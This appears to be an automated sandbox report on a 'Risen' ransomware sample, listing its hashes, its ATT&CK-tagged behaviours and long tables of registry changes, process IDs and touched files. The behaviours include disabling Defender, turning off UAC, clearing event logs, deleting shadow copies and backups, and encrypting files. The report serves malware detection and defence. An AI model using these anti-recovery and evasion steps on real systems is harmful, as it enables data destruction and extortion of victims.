da3217f8cf177345c9a7c2dd694f37d5d64bc8b3aa2f78561a738bc4d8877adb

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
31/07/2024, 16:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Size

86KB
MD5

491bf00c1929f2b26b0badeb38ebfd46
SHA1

28cd844b076e421ff5ff64f582f517f53dcef46d
SHA256

31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f
SHA512

e85d07020800696eddeacb3c32e1d4175b7e28b899c01d302f002342259fcb86c2925d299d3387029a0c41eb1c9aa6dd02b176113d1b2b98b1707fd841fa6188
SSDEEP

1536:o4yibP4IcW8YEZLjctYoC7xOUlGr2gILtJ8pkKwY85Eonf9rVo2AZISluNV1WPoq:oA0IcphZLHYrqZJlZKp1ZIvMPoOout

Score

10^/10

defense_evasion discovery evasion execution impact ransomware trojan upx

Malware Config

Signatures

Deletes NTFS Change Journal 2 TTPs 1 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
328	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
2880	wevtutil.exe
576	wevtutil.exe
2524	wevtutil.exe
3040	wevtutil.exe
3032	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2652	bcdedit.exe
1688	bcdedit.exe

Renames multiple (2900) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2028	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables taskbar notifications via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
600	cmd.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2480-0-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-1533-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-4407-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-5063-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-8098-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-11566-0x00000000002F0000-0x0000000000339000-memory.dmp	upx
behavioral1/memory/2480-11569-0x00000000002F0000-0x0000000000339000-memory.dmp	upx

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\J:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\T:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\A:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\N:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\E:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\M:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\K:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\V:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\I:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\W:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\R:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\Y:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\L:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\U:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\P:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\H:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\Z:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\X:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\O:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\S:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened (read-only)	\??\B:	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\RisenBackGround.JPG"	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_zh_CN.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kuala_Lumpur	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jre7\lib\zi\Europe\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es_MX\LC_MESSAGES\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_zh_4.4.0.v20140623020002.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkHandle.png	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Mazatlan	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\CET	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tegucigalpa	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vilnius	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jre7\lib\security\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files (x86)\Adobe\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DissolveAnother.png	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuala_Lumpur	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveDrop32x32.gif	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ks_IN\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt_0.11.101.v20140818-1343.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.151\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-applemenu.xml	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Inuvik	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-text.xml	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Brunei	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-javahelp.xml	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jre7\lib\zi\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\sysinfo.bat	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\$Risen[WMWHP614XE].Private	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-compat_zh_CN.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-coredump.xml	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\$Risen_Note.txt	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\$Risen_Guide.hta	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\about.html	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-lib-uihandler.jar	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
600	cmd.exe
2872	PING.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1268	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2692	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2872	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2816	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1724	mshta.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeRestorePrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeBackupPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeTakeOwnershipPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeAuditPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeSecurityPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeIncBasePriorityPrivilege	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe
Token: SeBackupPrivilege	1868	vssvc.exe
Token: SeRestorePrivilege	1868	vssvc.exe
Token: SeAuditPrivilege	1868	vssvc.exe
Token: SeSecurityPrivilege	3040	wevtutil.exe
Token: SeBackupPrivilege	3040	wevtutil.exe
Token: SeSecurityPrivilege	576	wevtutil.exe
Token: SeSecurityPrivilege	2880	wevtutil.exe
Token: SeBackupPrivilege	576	wevtutil.exe
Token: SeBackupPrivilege	2880	wevtutil.exe
Token: SeSecurityPrivilege	2524	wevtutil.exe
Token: SeBackupPrivilege	2524	wevtutil.exe
Token: SeDebugPrivilege	2692	taskkill.exe
Token: SeSecurityPrivilege	3032	wevtutil.exe
Token: SeBackupPrivilege	3032	wevtutil.exe
Token: SeBackupPrivilege	1612	vssvc.exe
Token: SeRestorePrivilege	1612	vssvc.exe
Token: SeAuditPrivilege	1612	vssvc.exe
Token: SeBackupPrivilege	1156	wbengine.exe
Token: SeRestorePrivilege	1156	wbengine.exe
Token: SeSecurityPrivilege	1156	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2940	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	31
PID 2480 wrote to memory of 2940	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	31
PID 2480 wrote to memory of 2940	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	31
PID 2480 wrote to memory of 2940	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	31
PID 2480 wrote to memory of 2728	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	32
PID 2480 wrote to memory of 2728	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	32
PID 2480 wrote to memory of 2728	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	32
PID 2480 wrote to memory of 2728	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	32
PID 2480 wrote to memory of 2124	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	33
PID 2480 wrote to memory of 2124	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	33
PID 2480 wrote to memory of 2124	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	33
PID 2480 wrote to memory of 2124	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	33
PID 2480 wrote to memory of 2852	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	36
PID 2480 wrote to memory of 2852	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	36
PID 2480 wrote to memory of 2852	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	36
PID 2480 wrote to memory of 2852	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	36
PID 2480 wrote to memory of 2872	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	37
PID 2480 wrote to memory of 2872	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	37
PID 2480 wrote to memory of 2872	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	37
PID 2480 wrote to memory of 2872	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	37
PID 2480 wrote to memory of 2272	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	38
PID 2480 wrote to memory of 2272	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	38
PID 2480 wrote to memory of 2272	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	38
PID 2480 wrote to memory of 2272	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	38
PID 2480 wrote to memory of 2696	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	40
PID 2480 wrote to memory of 2696	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	40
PID 2480 wrote to memory of 2696	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	40
PID 2480 wrote to memory of 2696	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	40
PID 2480 wrote to memory of 1856	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	41
PID 2480 wrote to memory of 1856	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	41
PID 2480 wrote to memory of 1856	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	41
PID 2480 wrote to memory of 1856	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	41
PID 2480 wrote to memory of 2640	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	44
PID 2480 wrote to memory of 2640	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	44
PID 2480 wrote to memory of 2640	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	44
PID 2480 wrote to memory of 2640	2480	31c68009f7ecf347876b80ea5f1cf54c713a5cbe60386d8e08bf47803dfd763f.exe	44
